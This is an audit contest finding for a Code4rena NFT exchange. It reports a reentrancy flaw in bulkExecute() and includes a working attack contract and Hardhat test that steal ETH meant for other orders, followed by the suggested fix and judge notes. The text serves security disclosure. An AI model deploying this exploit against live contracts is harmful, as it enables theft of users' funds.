Platform: Code4rena
Start Date: 11/11/2022
Pot Size: $36,500 USDC
Total HM: 5
Participants: 62
Period: 3 days
Judge: berndartmueller
Id: 181
League: ETH
Rank: 13/62
Findings: 1
Award: $612.43
🌟 Selected for report: 0
🚀 Solo Findings: 0
612.4275 USDC - $612.43
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212
The 'bulkExecute()' and '_returnDust()' functions are susceptible to reentrancy attack. Seller can exploit it to steal ETH which is for other orders of the bulk.
Key steps for successful attack
(1) set fee rate to 100% (2) reentrancy call 'bulkExecute()' in 'receive()' of feeRecipient contract with zero length 'Execution' array as parameter
The working attack contract and test case: Put the following attack contract to a new 'BadFeeRecipient.sol' file of 'contracts' directory.
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import { Execution } from "./lib/OrderStructs.sol"; interface IBulkExecute { function bulkExecute(Execution[] calldata executions) external payable; } contract BadFeeRecipient { address immutable private _exchange; address immutable private _owner; constructor (address exchange) { _exchange = exchange; _owner = msg.sender; } function withdraw(address to) external { require(msg.sender == _owner && to != address(0)); (bool success,) = payable(to).call{value: address(this).balance}(""); require(success); } receive() external payable { _attack(); } function _attack() private { if (msg.sender != _exchange) return; if (_exchange.balance == 0) return; Execution[] memory executions = new Execution[](0); IBulkExecute(_exchange).bulkExecute{value: 1}(executions); } }
Put the following test script to a new 'exploitBulkExecute.test.ts' file of 'tests' directory
import hre from 'hardhat'; import { expect } from 'chai'; import { ethers, Wallet, Contract, BigNumber, Signer } from 'ethers'; import { waitForTx, getRequiredEnv, deploy } from '../web3-utils'; import { eth, Order, setupTest } from './exchange'; import { Side, ZERO_ADDRESS } from './exchange/utils'; import type { CheckBalances, GenerateOrder, SetupExchangeFunction, SetupExchangeOpts, SetupExchangeResult } from './exchange'; import { deployFull, deployPool } from '../scripts/deploy'; async function setBalance(address: string, value: string) { await hre.network.provider.send('hardhat_setBalance', [address, value]); } export async function deployBadFeeRecipient(exchange: any): Promise<Contract> { return await deploy('BadFeeRecipient', [exchange], {}, 'BadFeeRecipient'); } async function setupExchange({ admin, }: SetupExchangeOpts): Promise<SetupExchangeResult> { await hre.network.provider.request({ method: 'hardhat_reset', params: [ { forking: { jsonRpcUrl: `https://mainnet.infura.io/v3/${getRequiredEnv( 'INFURA_API_KEY', )}`, }, }, ], }); const result = await deployFull(admin.address, 5, 'TestExchange'); const pool = await deployPool(); return { ...result, admin, oracle: admin, pool }; } describe('Exploit Test', function () { const INVERSE_BASIS_POINT = 10_000; const price: BigNumber = eth('1'); let feeRate = 300; let exchange: Contract; let attacker: Contract; let executionDelegate: Contract; let matchingPolicies: Record<string, Contract>; let admin: Wallet; let alice: Wallet; let bob: Wallet; let thirdParty: Wallet; let weth: Contract; let pool: Contract; let mockERC721: Contract; let mockERC1155: Contract; let sell: Order; let sellInput: any; let buy: Order; let buyInput: any; let otherOrders: Order[]; let fee: BigNumber; let priceMinusFee: BigNumber; let tokenId: number; let aliceBalance: BigNumber; let aliceBalanceWeth: BigNumber; let aliceBalancePool: BigNumber; let bobBalance: BigNumber; let bobBalanceWeth: BigNumber; let bobBalancePool: BigNumber; let feeRecipientBalance: BigNumber; let feeRecipientBalanceWeth: BigNumber; let feeRecipientBalancePool: BigNumber; let expectedAliceBalance: BigNumber; let expectedAliceBalanceWeth: BigNumber; let expectedAliceBalancePool: BigNumber; let expectedBobBalance: BigNumber; let expectedBobBalanceWeth: BigNumber; let expectedBobBalancePool: BigNumber; let expectedFeeRecipientBalance: BigNumber; let expectedFeeRecipientBalanceWeth: BigNumber; let expectedFeeRecipientBalancePool: BigNumber; let tx: any; let generateOrder: GenerateOrder; const checkBalances = async ( aliceEth: any, aliceWeth: any, alicePool: any, bobEth: any, bobWeth: any, bobPool: any, feeRecipientEth: any, feeRecipientWeth: any, feeRecipientPool: any, ) => { expect(await alice.getBalance()).to.be.equal(aliceEth); expect(await weth.balanceOf(alice.address)).to.be.equal(aliceWeth); expect(await pool.balanceOf(alice.address)).to.be.equal(alicePool); expect(await bob.getBalance()).to.be.equal(bobEth); expect(await weth.balanceOf(bob.address)).to.be.equal(bobWeth); expect(await pool.balanceOf(bob.address)).to.be.equal(bobPool); expect( await (admin.provider as ethers.providers.Provider).getBalance( attacker.address, ), ).to.be.equal(feeRecipientEth); expect(await weth.balanceOf(thirdParty.address)).to.be.equal( feeRecipientWeth, ); expect(await pool.balanceOf(thirdParty.address)).to.be.equal( feeRecipientPool, ); }; const updateBalances = async () => { aliceBalance = await alice.getBalance(); aliceBalanceWeth = await weth.balanceOf(alice.address); aliceBalancePool = await pool.balanceOf(alice.address); bobBalance = await bob.getBalance(); bobBalanceWeth = await weth.balanceOf(bob.address); bobBalancePool = await pool.balanceOf(bob.address); feeRecipientBalance = await admin.provider.getBalance(attacker.address); feeRecipientBalanceWeth = await weth.balanceOf(thirdParty.address); feeRecipientBalancePool = await pool.balanceOf(thirdParty.address); expectedAliceBalance = aliceBalance; expectedAliceBalanceWeth = aliceBalanceWeth; expectedAliceBalancePool = aliceBalancePool; expectedBobBalance = bobBalance; expectedBobBalanceWeth = bobBalanceWeth; expectedBobBalancePool = bobBalancePool; expectedFeeRecipientBalance = feeRecipientBalance; expectedFeeRecipientBalanceWeth = feeRecipientBalanceWeth; expectedFeeRecipientBalancePool = feeRecipientBalancePool; }; const setup = async () => { return setupTest({ price, feeRate, setupExchange, }); } before(async () => { ({ admin, alice, bob, thirdParty, weth, pool, matchingPolicies, mockERC721, mockERC1155, tokenId, exchange, executionDelegate, generateOrder } = await setup()); attacker = await deployBadFeeRecipient(exchange.address); }); describe('exploit bulk execute', () => { let executions: any[]; let value: BigNumber; beforeEach(async () => { await updateBalances(); const _executions = []; value = BigNumber.from(0); tokenId += 3; feeRate = INVERSE_BASIS_POINT; for (let i = tokenId; i < tokenId + 3; i++) { await mockERC721.mint(alice.address, i); const _price = eth(`${i - tokenId + 1}`); const _sell = generateOrder(alice, { side: Side.Sell, tokenId: i, paymentToken: ZERO_ADDRESS, price: _price, fees: [ { rate: feeRate, // @audit set to 100% recipient: attacker.address, // @audit set to attack contract }, ], }); const _buy = generateOrder(bob, { side: Side.Buy, tokenId: i, paymentToken: ZERO_ADDRESS, }); _executions.push({ sell: await _sell.packNoOracleSig(), buy: await _buy.packNoSigs(), }); value = value.add(_price); } executions = _executions; }); afterEach(async () => { if (tx) { const gasFee = tx.gasUsed.mul(tx.effectiveGasPrice); if (tx.from.toLowerCase() === alice.address.toLowerCase()) { expectedAliceBalance = expectedAliceBalance.sub(gasFee); } if (tx.from.toLowerCase() === bob.address.toLowerCase()) { expectedBobBalance = expectedBobBalance.sub(gasFee); } await checkBalances( expectedAliceBalance, expectedAliceBalanceWeth, expectedAliceBalancePool, expectedBobBalance, expectedBobBalanceWeth, expectedBobBalancePool, expectedFeeRecipientBalance, expectedFeeRecipientBalanceWeth, expectedFeeRecipientBalancePool, ); } }); describe('steal ETH which is for other orders of the bulk', () => { it('price 1+2+3 ETH, sending 6 ETH, 1 ETH swapped, 0 ETH return, 5 ETH stolen', async () => { exchange = exchange.connect(bob); tx = await waitForTx( exchange.connect(bob).bulkExecute(executions, { value }), ); expect(await mockERC721.ownerOf(tokenId)).to.be.equal(bob.address); expect(await mockERC721.ownerOf(tokenId + 1)).to.be.equal(alice.address); expect(await mockERC721.ownerOf(tokenId + 2)).to.be.equal(alice.address); expectedAliceBalance = aliceBalance; expectedBobBalance = bobBalance.sub(eth('6')); expectedFeeRecipientBalance = feeRecipientBalance.add(eth('6')); }); }); }); } );
Run
yarn hardhat text .\tests\exploitBulkExecute.test.ts
It will pass.
VS Code
Move 'reentrancyGuard' modifier from '_execute()' to 'execute()' and 'bulkExecute()'.
#0 - c4-judge
2022-11-16T14:18:19Z
berndartmueller marked the issue as duplicate of #96
#1 - c4-judge
2022-11-16T14:18:32Z
berndartmueller marked the issue as satisfactory